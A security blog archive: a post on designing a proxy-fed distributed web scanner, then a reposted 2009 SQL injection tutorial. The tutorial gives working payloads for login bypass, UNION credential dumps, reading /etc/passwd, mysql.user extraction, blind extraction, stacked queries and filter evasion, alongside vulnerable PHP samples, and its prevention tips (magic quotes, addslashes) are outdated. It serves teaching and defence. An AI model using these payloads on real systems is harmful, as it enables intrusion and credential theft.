标签归档:Web安全

一个简单的分布式WEB扫描器的设计与实践

0x00 前言

作为一个安全从业人员,在平常的工作中总是需要对一些web系统做一些安全扫描和漏洞检测从而确保在系统上线前尽可能多的解决了已知的安全问题,更好地保护我们的系统免受外部的入侵和攻击。而传统的web安全检测和扫描大多基于web扫描器,而实际上其是利用爬虫对目标系统进行资源遍历并配合检测代码来进行,这样可以极大的减少人工检测的工作量,但是随之而来也会导致过多的误报和漏报,原因之一就是爬虫无法获取到一些隐藏很深的系统资源(比如:URL)进行检测。在这篇文章里,笔者主要想和大家分享一下从另一个角度来设计web扫描器从而来解决开头所提到的问题。

0x01 设计

在开始探讨设计之前,我们首先了解一下web漏洞检测和扫描的一般过程和原理。通常我们所说的web漏洞检测和扫描大致分为2种方式:

  • web扫描器:主要利用扫描器的爬虫获取目标系统的所有URL,再尝试模拟访问这些URL获取更多的URL,如此循环,直到所有已知的URL被获取到,或者利用已知字典对目标系统的URL进行暴力穷举从而获取有效的URL资源;之后对获取的URL去重整理,利用已知漏洞的检测代码对这些URL进行检测来判断目标系统是否存在漏洞
  • 人工检测:通过设置代理(如:burp)来截获所有目标系统的访问请求,然后依据经验对可能存在问题的请求修改参数或者添加检测代码并重放(如:burp中的repeat功能)从而判断目标系统是否存在漏洞

对比上面的2种方式,我们可以发现web扫描器可以极大的减少人工检测的工作量,但是却因为爬虫的局限性导致很多事实上存在的资源不能被发现容易造成就误报和漏报;而人工检测可以很好的保证发现漏洞的准确性和针对性,但是却严重依赖于检测人员的经验和时间,尤其是大型系统很难在有限的时间内完成检测,同样会造成漏报。那么,如果能有效地利用扫描器的处理速度以及人工的精准度的话,是不是就可以很好地解决前面的问题了呢?

下面让我们来深究一下两者的各自优势,前者自动化程度高不需要过多的人为干预,后者因为所有请求均来自于真实的访问准确度高。我们不禁思考一下,如果我们有办法可以获取到所有的真实请求(包括:请求头,cookie,url,请求参数等等)并配合扫描器的检测代码是不是更加有针对性且有效地对系统进行漏洞检测呢?

我们设想一下,如果有这样一个系统可以在用户与系统之前获取到所有的请求,并分发给扫描器进行检测,这样只要请求是来自于真实的应用场景或者系统的功能那么就可以最大程度地收集到所有真实有效的资源。故可以设计该系统包含如下的子模块:

  • 客户端:用户访问系统的载体,如:浏览器,手机APP
  • 代理:用于获取来自于客户端的所有请求,如:Burp,Load Balancer
  • 解析器:负责将代理获取的请求数据按照规定格式解析并插入至请求数据库中
  • 请求数据库:用于存放代理获取的所有请求数据以及解析器和扫描器的配置信息
  • 扫描器:具有漏洞检测功能的扫描器,如:自行编写的定制扫描器(hackUtils),SQLMAP,Burp Scanner,WVS,OWASP ZAP等
  • 应用系统:目标应用系统,如: Web系统,APP

基本架构如下:

从上图的设计中,我们可以利用代理将所有访问目标系统的请求获取并存储在一个统一的数据库中,然后将这些真实产生的请求分发给不同的扫描器(比如:常见的OWASP Top10的漏洞,已披露的常见框架或者中间件漏洞等)进行检测。上述设计是高度解耦合地并且每个子模块都是只负责自己的功能相互之间并不干扰,且仅通过中心数据库关联起来,因此我们可以通过设置多个代理和扫描器地随意组合来实现分布式地批量检测。

这种设计架构可以很方便地进行扩展和应用, 例如:

  • 对于漏洞检测或者安全测试人员,我们只需要在本地设置好代理(如:burp),然后在浏览器或者移动APP中正常地访问或者测试应用的每一个页面和功能,接下来的漏洞检测工作就完全交给了扫描器去做,这将极大地节约了时间和避免了大量重复的手工检测的工作量
  • 对于企业系统,我们可以将代理设置在应用前端(如:load balancer),这样所有的请求将会被自动镜像在扫描数据库,并自动分发给多个扫描引擎进行检测,无需手工干预即可发现很多隐藏很深的漏洞

0x02 实践

俗语说的好,“Talk is cheap, show me the code”! 是的,为了更好地了解这种设计思路的好处,笔者设计了一个Demo系统。该系统利用了burp作为代理,当我们在浏览器或者手机的wifi中配置好了代理服务器,漏洞检测的工作将会简化成简单地浏览应用的每一个页面和功能,代理将会自动地收集产生的所有请求数据(包括,各种请求头,cookie,请求方法,请求数据等)然后通过解析器的解析并存储于中央数据库,然后再分发于多个扫描引擎对请求的所有可控输入点进行repeat检测。

效果如下:

以下是我封装的一个python的requests库,它支持发送自定义的cookie,headers的get/post的请求,并可以是使用PhantomJS引擎去解析和渲染GET请求响应的页面中的javascript,css等,可以非常方便的应用于反爬虫和DOM型XSS的检测。

Code:https://github.com/brianwrf/HackRequests

0x03 思考

从漏洞检测的角度来说,经过笔者的测试(以DVWA和WebGoat为例)检测效果还是非常明显和有效的。其实这种类似的设计,很早之前就已经有人做了,那么很多人要问了为什么你还要在重复造个轮子呢?其实原因有以下几点:

  • 系统耦合性较强,不利于进行扩展和改造
  • 在HTTPS的流量捕获上支持的不是很好
  • 没有做到对HTTP请求中所有的可控输入点进行检测,例如,仅仅检测GET/POST数据,而对cookie,user-agent, referer等缺乏检测
  • 缺乏对于DOM的渲染和解析,容易造成对于基于DOM的漏洞的漏报,比如:DOM型的XSS等
  • 不具备分布式部署的能力,无法有效利用分布式处理的优点来提高检测效率
  • 不具备真正的意义上的repeat检测能力,换句话说不能完全模拟用户的请求

当然,上述的设计也存在一些待解决的问题,比如:

  • 若将代理部署至应用前端镜像所有请求,再分发至扫描引擎检测,如何防止真实用户数据泄漏和篡改?可能的解决方案是设置例外,对于敏感字段或者请求进行例外处理。

写在最后

Anyway, 新系统的设计无非是汲取前人的智慧加以优化再为后人铺路,解决问题才是考验系统能力的关键!后续我会继续努力改进其不足,让其更加易于使用!

补充

该项目现已开源,项目地址:https://github.com/brianwrf/NagaScan

注:如觉得有意思想转载的话,请注明出处,尊重知识产权,从你我开始,谢谢!

【转载】MySQL: Secure Web Apps – SQL Injection techniques

/================================================================================\
———————————[ PLAYHACK.net ]———————————
\================================================================================/

-[ INFOS ]———————————————————————–
Title: “MySQL: Secure Web Apps – SQL Injection techniques”
Author: Omni
Website: http://omni.playhack.net
Date: 2009-02-26 (ISO 8601)
———————————————————————————

-[ SUMMARY ]———————————————————————
0x01: Introduction
0x02: Injecting SQL
0x03: Exploiting a Login Form
0x04: Exploiting Different SQL Statement Type
0x05: Basic Victim Fingerprinting
0x06: Standard Blind SQL Injection
0x07: Double Query
0x08: Filters Evasion
0x09: SQL Injection Prevention
0x10: Conclusion
———————————————————————————

—[ 0x01: Introduction ]

Hi everybody! I’m here again to write a little, but I hope interesting, paper concerning
Web Application Security. The aim of these lines are to help you to understand security
flaws regarding SQL Injection.

I know that maybe lots of things here explained are a little bit old; but lots of people
asked to me by email how to find/to prevent SQL Injection flaws in their codes.

Yes, we could say that this is the second part of my first paper regarding PHP flaws
(PHP Underground Security) wrote times ago; where I explained in a very basic form the SQL Injection
(The reason? The focus was on an other principal theme).

How I wrote this paper? In my free time, a couple of lines to help people to find, prevent
this kind of attacks. I hope you enjoy it. For any question or whatever please
contact me here: omni_0 [at] yahoo [DOT] com .
——————————————————————————-[/]

—[ 0x02: Injecting SQL ]

As you know almost every dynamic web applications use a database (here we talk
about web application based on “LAMP architecture”) to store any kind of data needed
by the application such as images path, texts, user accounts, personal information,
goods in stock, etc.

The web application access to those information by using the SQL (Structured Query
Language). This kind of applications construct one or more SQL Statement to query
the DataBase (and for example to retrieve data); but this query sometimes incorporporate
user-supplied data. (take in mind this)

What about SQL? SQL is a DML (Data Manipulation Language) that is used
to insert, retrive and modify records present in the DataBase.

As I said before web application uses user-supplied data to query the DB but if the
supplied data is not properly sanitized before being used this can be unsafe and
an attacker can INJECT HIS OWN SQL code.
These flaws can be very destructive because an attacker can:

– Inject his data
– Retrive information about users, CC, DBMS.. (make a kind of information gathering)
– and so on..

The fundamentals of SQL Injection are similar to lots of DBMS but, as you know
there are some differences, in this paper I will cover “Exploting SQL Injection
in MySQL DBMS” as said upon (this means that if you want to test techniques here
explained on others DBMS you need to try at your own).
——————————————————————————-[/]

—[ 0x03: Exploiting a Login Form ]

Sometimes happends that coders doesn’t properly sanitize 2 important variables
such as user-name and password in the login form and this involve a critical
vulnerability that will allow to the attacker the access to a reserved area.

Let’s make an example query here below:

SELECT * FROM users WHERE username = ‘admin’ and password = ‘secret’

With this query the admin supply the username ‘admin’ and the password ‘secret’
if those are true, the admin will login into the application.
Let us suppose that the script is vulnerabile to sql injection; what happends
if we know the admin username (in this case ‘admin’)? We don’t know the password, but
can we make an SQL Injection attack? Yes, easily and then we can gain the access to the application.
In this way:

SELECT * FROM users WHERE username = ‘admin’ /*’ and password = ‘foobar’

So, we supplied this information:

– As username = admin’ /*
– As password = foobar (what we want..)

Yes, the query will be true because admin is the right username but then with the
‘ /* ‘ symbol we commented the left SQL Statement.

Here below a funny (but true) example:

$sql = “SELECT permissions, username FROM $prefix”.”auth WHERE
username = ‘” . $_POST[‘username’] . “‘ AND password = MD5(‘”.$_POST[‘wordpass’].”‘);”;

$query = mysql_query($sql, $conn);

The variables passed with the POST method are not properly sanitized before being used
and an attacker can inject sql code to gain access to the application.
This is a simple attack but it has a very critical impact.
——————————————————————————-[/]

—[ 0x04: Exploiting Different SQL Statement Type ]

SQL Language uses different type of statements that could help the programmer to
make different queries to the DataBase; for example a SELECTion of record,
UPDATE, INSERTing new rows and so on. If the source is bugged an attacker can
“hack the query” in multiple ways; here below some examples.

SELECT Statement
——————

SELECT Statement is used to retrieve information from the database; and is
frequentely used “in every” application that returns information in response
to a user query. For example SELECT is used for login forms, browsing catalog, viewing
users infos, user profiles, in search engines, etc. The “point of failure” is
often the WHERE clause where exactly the users put their supplied arguments.

But sometimes happends that the “point of failure” is in the FROM clause; this
happends very rarely.

INSERT Statement
——————

INSERT statement is used to add new row in the table; and sometimes the application
doesn’t properly sanitize the data, so a query like the beneath could be vulnerable:

INSERT INTO usr (user, pwd, privilege) VALUES (‘new’, ‘pwd’, 10)

What happends if the pwd or username are not safe? We can absolutely “hack the
query” and perform a new interesting query as shown below:

INSERT INTO usr (user, pwd, privilege) VALUES (‘hacker’, ‘test’, 1)/*’, 3)

In this example the pwd field is unsafe and is used to create a new user with
the admin privilege (privilege = 1):

$SQL= “INSERT INTO usr (user, pwd, id) VALUES (‘new’, ‘”.$_GET[‘p’].”‘, 3)”;

$result = mysql_query($SQL);

UPDATE Statement
——————

UPDATE statement is used (as the word says) to UPDATE one or more records.
This type of statement is used when users (logged into the application) need
to change their own profile information; such as password, the billing address,
etc. An example of how the UPDATE statement works is shown below:

UPDATE usr SET pwd=’newpwd’ WHERE user = ‘billyJoe’ and password = ‘Billy’

The field pwd in the update_profile.php form is absolutely “a user-supply data”; so,
try to imagine what happends if the code is like the (vulnerable) code pasted below:

$SQL = “UPDATE usr SET pwd='”.$_GET[‘np’].”‘ WHERE user = ‘billyJoe’ and pwd = ‘Billy'”;
$result = mysql_query($SQL);

In this query the password needs to be correct (so, the user needs to know his own password :D)
and the password will be supplied with the GET method; but leave out this detail (it’s not so important
for our code injection) and concentrate to the new password field (supplied by $_GET[‘np’], that
is not sanitized); what happeds if we will inject our code here? Let see below:

UPDATE usr SET pwd=’owned’ WHERE user=’admin’/*’ WHERE user = ‘ad’ and pwd = ‘se’

here we just changed the admin password to ‘ owned ‘ :) sounds interesting right?

UNION SELECT Statement
————————-

The “UNION SELECT Statement” is used in SQL to combine the results of 2
or more different SELECT query; obviously in one result.
This kind of statement is very interesting because when you have a SELECT query
often you can add your own UNION SELECT statement to combine the queries (sure,
only if you have a “bugged sql statement”) and view the 2 (or more) results in only
one result set. To better understand what I mean I think is better to see an interesting
example and put our hands on it.

Here is our vulnerable code:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

$SQL = “select * from news where id=”.$_GET[‘id’];

$result = mysql_query($SQL);

if (!$result) {
die(‘Invalid query: ‘ . mysql_error());
}

// Our query is TRUE
if ($result) {
echo ‘<br><br>WELCOME TO www.victim.net NEWS<br>’;
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {

echo ‘<br>Title:’.$row[1].'<br>’;
echo ‘<br>News:<br>’.$row[2];
}

}

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

As we can see the $SQL variable is vulnerable and an attacker can inject his own
code into it and then gain interesting information. What happends if via browser we
call this URL: http://www.victim.net/CMS/view.php?id=1 ?

Nothing interesting, just our news with the ID equal to 1, here below:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

How to make this interesting? :) We can use our UNION SELECT operator, and the
resultant query will be:

select * from news where id=1 UNION SELECT * FROM usr WHERE id = 1

What is gonna happend? Look below:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?
Title:secret

News:
1

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

“Title: secret” is the admin password (ID = 1 is the admin in most cases) and the 1 in the “News:”
is the admin ID. So, why our output is so strange? This is not strange our tables has been made
in different ways. Just to make things clear look the tables below:

mysql> select * from usr;
———————–
| user   | pwd    | id    |
———————–
| admin | secret |    1 |
———————–
| ad     | aaaaa  |    2 |
———————–
| new   | test    |    5 |
———————–

mysql> select * from news;
—————————————————
| id   | title                | texts                              |
—————————————————
|    1 | testing news    | what about SQL Injection? |
—————————————————
|    2 | testing news 2 | could be bypassed easily?  |
—————————————————

Our UNION SELECT query will be:

mysql> select * from news where id = 1 union select * from usr where id = 1;
—————————————————
| id      | title              | texts                            |
—————————————————
| 1       | testing news | what about SQL Injection? |
—————————————————
| admin | secret          | 1                                   |
—————————————————

Is now clear? We have found the admin password. It’s great!

Ok, lets go deeper; what happends if we have 2 tables with a different number of
columns? Unfortunaltely UNION SELECT doesn’t work as show upon. I want to make
2 different examples to help you.

LESS FIELDS
————

mysql> select * from Anews;
————————————————
| title               | texts                                  |
————————————————
| testing news 2 | could be bypassed easily?      |
————————————————

mysql> select * from Anews union select * from usr;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

Yes, this is what happends if the UNION SELECT is used and the tables have a different
number of columns. So, what we can do to bypass this?

mysql> select * from Anews union select id, CONCAT_WS(‘ – ‘, user, pwd) from usr;
——————————————–
| title          | texts                                  |
——————————————–
| testing news 2 | could be bypassed easily? |
——————————————–
| 1                   | admin – secret                |
——————————————–
| 2                  | ad – aaaaa                      |
——————————————–
| 5                 | new – test                       |
——————————————–

We bypassed “the problem” just using a MySQL function CONCAT_WS (CONCAT can be used too).
Take in mind that different DBMS works in different way. I’m explaining in a general manner; therefore
sometimes you have to find other ways. :)

MORE FIELDS
————-

mysql> select * from fnews;
——————————————————–
| id   | pri   | title               | texts                             |
——————————————————–
|    1 |    0 | testing news 2 | could be bypassed easily? |
——————————————————–

What we can do now? Easy, just add a NULL field!!

mysql> select * from fnews union select NULL, id, user, pwd from usr;
———————————————————
| id   | pri     | title               | texts                             |
———————————————————
|    1 |    0   | testing news 2 | could be bypassed easily? |
———————————————————
| NULL |    1 | admin             | secre                            |
———————————————————
| NULL |    2 | ad                 | aaaaa                            |
———————————————————
| NULL |    5 | new               | test                              |
———————————————————

——————————————————————————-[/]

—[ 0x05: Basic Victim Fingerprinting ]

In this part of the paper I’ll explain some easy, but interesting, ways used while trying to do
information gathering before the Vulnerability Assessment and Penetration Test steps.

This is our scenario: we found a bugged Web Application on the host and we can inject our
SQL code.

So, what we need to know? Could be interesting to know the mysql server version;
maybe it’s a bugged version and we can exploit it.

How to do that? (I will not use bugged code; I’ll just make some examples. Use your
mind to understand how to use “these tips”)

mysql> select * from fnews WHERE id = 1 union select version(), NULL, NULL, NULL from usr;
—————————————————————————–
| id                               | pri     | title                | texts                            |
—————————————————————————–
| 1                                |    0   | testing news 2 | could be bypassed easily? |
—————————————————————————–
| 5.0.22-Debian               | NULL | NULL              | NULL                             |
—————————————————————————–

Here our mysql version. Also the OS has been putted on the screen :) (take in mind that
sometimes these information are modified).

Could be interesting to know the server time:

mysql> select * from fnews WHERE id = 1 union select NOW(), NULL, NULL, NULL from usr;
—————————————————————————
| id                           | pri     | title               | texts                              |
—————————————————————————
| 1                            |    0   | testing news 2 | could be bypassed easily?  |
—————————————————————————
| 2009-02-27 00:03:56 | NULL | NULL              | NULL                              |
—————————————————————————

Yes, sometimes is useful to know what is the user used to connect to the database.

mysql> select * from fnews WHERE id = 1 union select USER(), NULL, NULL, NULL from usr;

——————————————————————–
| id                  | pri     | title               | texts                             |
——————————————————————–
| 1                   |    0   | testing news 2 | could be bypassed easily? |
——————————————————————–
| omni@localhost | NULL | NULL              | NULL                             |
——————————————————————–

An interesting function implemented in mysql server is LOAD_FILE that, as the
word say, is able to load a file. What we can do with this? gain information and
read files. Here below the query used as example:

select * from news where id=1 union select NULL,NULL,LOAD_FILE(‘/etc/passwd’) from usr;

This is what my FireFox shows to me:

http://www.victim.net/CMS/view.php?id=1%20union%20select%20NULL,NULL,LOAD_FILE(‘/etc/password’)%20from%20usr;

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?
Title:

News:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[…]
[output cutted]
[…]

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

Sounds interesting right, don’t you?

Could be interesting to get some sensitive information such as mysql users and passwords
right? By injecting our code as shown below we can get such that information.

SELECT * FROM news WHERE id=’1′ UNION SELECT Host, User, Password FROM mysql.user/*’
——————————————————————————-[/]

—[ 0x06: Standard Blind SQL Injection ]

SQL Injection and Blind SQL Injection are attacks that are able to exploit a software
vulnerability by injecting sql codes; but the main difference between these attacks
is the method of determination of the vulnerability.

Yes, because in the Blind SQL Injection attacks, attacker will look the results
of his/her requests (with different parameter values) and if these results will return
the same information he/she could obtain some interesting data. (I know, it seems
a bit strange; but between few lines you will understand better).

But why Standard Blind SQL Injection? What does it mean? In this part of the paper
I’ll explain the basic way to obtain information with Blind SQL Injection without bear
in mind that this type of attacks could be optimized. I don’t wanna talk about the
methods to optimize a Blind SQL Injection attack.(Wisec found interesting things about that –
“Optimizing the number of requests in blind SQL injection”).

Ok, let’s make a step forward and begin talking about Detection of Blind SQL Injection.
To test this vulnerability we have to find a condition that is always true; for example
1=1 is always TRUE right? Yes, but when we have to inject our code in the WHERE
condition we don’t know if our new injected query will be true or false; therefore
we have to make some tests. When the query is true? The query is true when the record
returned contain the correct information. Maybe is a little bit strange this explanation but
to make things clear I wanna let you see an example. Suppose that we requested this
URL:

http://www.victim.net/CMS/view.php?id=1

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

As you can see we have just viewed our first news (id=1). What happends if we request
this other URL: http://www.victim.net/CMS/view.php?id=1 AND 1=1 ?
In our browser we just see the same page because the query is obviously true.
Here below the injected query:

SELECT * FROM news WHERE id=1 AND 1=1 LIMIT 1

Now, we (I hope)  have understood what is a Blind SQL Injection; and to understand
better how we can use this, I want to make a simple example/scenario. I’m thinking that
the web application is connected to MySQL using the user omni; how to know this by using
Blind SQL Injection? Just requesting this URL:

http://www.victim.net/CMS/view.php?id=1 AND USER()=omni@localhost’

and watch the reply sent on our browser. If in our FireFox (or whatever you want)
we will see the news with ID=1 we know that omni is the user used to connect to
the mysql deamon (because the query is true; and we found the true value to pass
to the query).
Let’s go deeper. What we can do with Blind SQL? Could be interesting to retrieve
the admin password. How to do that? First of all to understand better the
steps I’m going to explain we need to know some basic information.

Function used in MySQL:

– ASCII(str)
Returns the numeric value of the leftmost character of the string str.
Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII()
works for 8-bit characters.

mysql> select ascii(‘a’);
———–
| ascii(‘A’) |
———–
|         97 |
———–

mysql> select ascii(‘b’);
———–
| ascii(‘b’) |
———–
|         98 |
———–

– ORD(str)

If the leftmost character of the string str is a multi-byte character, returns
the code for that character, calculated from the numeric values of its constituent
bytes using this formula:

(1st byte code)
+ (2nd byte code x 256)
+ (3rd byte code x 2562) …

If the leftmost character is not a multi-byte character, ORD() returns the same value as
the ASCII() function.

– SUBSTRING(str,pos), SUBSTRING(str  FROM pos),
SUBSTRING(str,pos,len), SUBSTRING(str  FROM pos FOR len)

The forms without a len argument return a substring from string str starting at position pos.
The forms with a len argument return a substring len characters long from string str, starting
at position pos.
The forms that use FROM are standard SQL syntax. It is also possible to use a negative value
for pos. In this case, the beginning of the substring is pos characters from the end of the
string, rather than the beginning.
A negative value may be used for pos in any of the forms of this function.

– SUBSTR(str,pos), SUBSTR(str  FROM pos),
SUBSTR(str,pos,len), SUBSTR(str  FROM pos FOR len)

SUBSTR() is a synonym for SUBSTRING().

mysql> select substring(‘Blind SQL’, 1, 1);
—————————-
| substring(‘Blind SQL’, 1, 1) |
—————————-
| B                                  |
—————————-

mysql> select substring(‘Blind SQL’, 2, 1);
—————————-
| substring(‘Blind SQL’, 2, 1) |
—————————-
| l                                   |
—————————-

– LOWER(str)

Returns the string str with all characters changed to lowercase according to
the current character set mapping. The default is latin1 (cp1252 West European).

mysql> SELECT LOWER(‘SQL’);
—————-
| LOWER(‘SQL’) |
—————-
| sql               |
—————-

– UPPER(str)

Returns the string str with all characters changed to uppercase according to
the current character set mapping. The default is latin1 (cp1252 West European).

mysql> SELECT UPPER(‘sql’);
————–
| UPPER(‘sql’) |
————–
| SQL           |
————–

Now we have understood the principals MySQL functions that could be used while
trying to do a Blind SQL Injection attack. (consult MySQL reference manuals for others)

What we need again? Suppose that we know for a moment the admin password: “secret”.

mysql> select ascii(‘s’);
———–
| ascii(‘s’) |
———–
|        115|
———–

mysql> select ascii(‘e’);
———–
| ascii(‘e’) |
———–
|        101|
———–

mysql> select ascii(‘c’);
———–
| ascii(‘c’) |
———–
|         99 |
———–

mysql> select ascii(‘r’);
———–
| ascii(‘r’) |
———–
|        114|
———–

mysql> select ascii(‘t’);
———–
| ascii(‘t’) |
———–
|        116|
———–

It’s time to watch the source code:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

[ … ]

$SQL = “select * from news where id=”.$_GET[‘id’].” LIMIT 1″;

$result = mysql_query($SQL);

if (!$result) {
die(‘Invalid query: ‘ . mysql_error());
}

[ … ]

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

Now, try to “exploit the bug” by requesting this URL:
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

The query is TRUE (we know that the first letter of the password is ‘s’) and therefore, the query will be:

SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115 LIMIT 1

What is the number 115? Read upon is the ascii value of the ‘s’. We retrieved the first character
of the password (by using some MySQL functions).

.:. (SELECT pwd FROM usr WHERE id=1) => SELECT the password of the user with ID=1 (admin)
.:. (SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1) => Get the first letter of the password (in this case ‘s’)
.:. ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) => Get the ASCII code of the first letter (115 in this case)

And how to retrieve the second letter of the password? Just carry out this query:

SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101 LIMIT 1

by requesting this URL:
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101

The third character? And the others? Just make the same query with the right values.
Take in mind that you can also use the “greater then” (>) and “less then” (<) symbols
instead of the equal; to find the ASCII letter between a range of letters.
Eg.: between 100 and 116; and so on.
——————————————————————————-[/]

—[ 0x07: Double Query ]

Sometimes in some codes happends that a programmer use the MySQLi Class (MySQL Improved
Extension) that is an extension allows you to access to the functionality provided
by MySQL 4.1 and above.

I’ll explain a  very interesting bug that could be very dangerous for the
system. A not properly sanitized variable passed in the method called multi_query of
the mysqli class can be used to perform a “double” sql query injection.

mysqli_multi_query (PHP 5) is able to performs one or more queries on the
database selected. The queries executed are concatenated by a semicolon.

Look this example to know what I’m talking about:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

<?php
$mysqli = new mysqli(“localhost”, “root”, “root”, “test”);

if (mysqli_connect_errno()) {
printf(“Connect failed: %s\n”, mysqli_connect_error());
exit();
}

$query  = “SELECT user FROM usr WHERE id =”. $_GET[‘id’].”;”;
$query .= “SELECT texts FROM news WHERE id =”. $_GET[‘id’];

echo ‘UserName: ‘;

if ($mysqli->multi_query($query)) {
do {
/* the first result set */
if ($result = $mysqli->store_result()) {
while ($row = $result->fetch_row()) {
echo ” – ” .$row[0]. “<br>” ;
}
$result->free();
}
/* print divider */
if ($mysqli->more_results()) {
echo “/-/-/-/-/-/-/-/-/-/-/-/-/-/<br>”;
}
} while ($mysqli->next_result());
}

/* close connection */
$mysqli->close();
?>

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

If a user request the follow URL:

http://www.victim.net/CMS/multiple.php?id=2

The browser reply with this information:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

UserName: – ad
/-/-/-/-/-/-/-/-/-/-/-/-/-/
– could be bypassed easily?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

But the source code is bugged. The $query variable is vulnerable because
a user can supply using the GET method, an evil id and can do multiple (evil) queries.

Trying with this request:

http://localhost/apache2-default/multiple1.php?id=2; SELECT pwd FROM usr/*

We will obtain the users passwords.

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

UserName: – ad
/-/-/-/-/-/-/-/-/-/-/-/-/-/
– secret
– adpwd
– test

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/
——————————————————————————-[/]

—[ 0x08: Filters Evasion ]

Web Application could implements some input filters that prevent an attacker from
exploiting certain flaws such as SQL Injection, LFI or whatever. Therefore an application
can use some mechanism that are able to sanitize, block or parse in some ways
user-supply data. This kind of filters could be bypassed by using differents methods,
here I wanna try to give to you some ideas; but certainly one filter differ from
an other one so, you have to try/find different methods to bypass it.

– Imagine that we have to bypass a login form; but the comment symbol is blocked,
we can bypass this issue but injecting this data ‘ OR ‘a’ = ‘a instead of ‘ OR 1 = 1 /*

– The filter try to prevent an SQL Injection by using this kind of Signature: ‘ or 1=1 (Case-insensitive).
An attacker can bypass this filter using ‘ OR ‘foobar’ = ‘foobar for example.

– Suppose that the application filter the keyword “admin”, to bypass this filter we have just
to use some MySQL functions such as CONCAT or CHAR for example:
union select * from usr where user = concat(‘adm’,’in’)/*
union select * from usr where user=char(97,100,109,105,110)/*

This is only a little part of “filter evasion techniques”. Different filters work
differently, I can’t stay on this topic forever; I just gave to you some ideas.
——————————————————————————-[/]

—[ 0x09: SQL Injection Prevention ]

How to prevent this type of attacks? Here below I just wanna write some
tips that you can use to make your web application more secure.

1.) The file php.ini located on our HD (/etc/php5/apache2/php.ini, /etc/apache2/php.ini,
and so on..) can help us with the magic quote functions. Other interesting functions can
be setted to On; take a look inside this file.

Magic quotes can be used to escape automatically with backslash the user-supply single-quote (‘),
double-quote (“), backslash (\) and NULL characters.
The 3 magic quotes directives are:

– magic_quotes_gpc, that affects HTTP request data such as GET, POST and COOKIE.
– magic_quotes_runtime, if enabled, most functions that return data from an external source, will have
quotes escaped with a backslash.
– magic_quotes_sybase, that escape the ‘ with ” instead of \’.

2.) deploy mod_security for example

3.) use functions such as addslashes() htmlspecialchars(), mysql_escape_string(), etc. to validate
every user inputs.

4.) For integer input validate it by casting the variable
——————————————————————————-[/]

—[ 0x10: Conclusion ]

Here we are, at the end of this paper. As said upon, I hope you enjoyed it and
for any questions please mail me.
——————————————————————————-[/]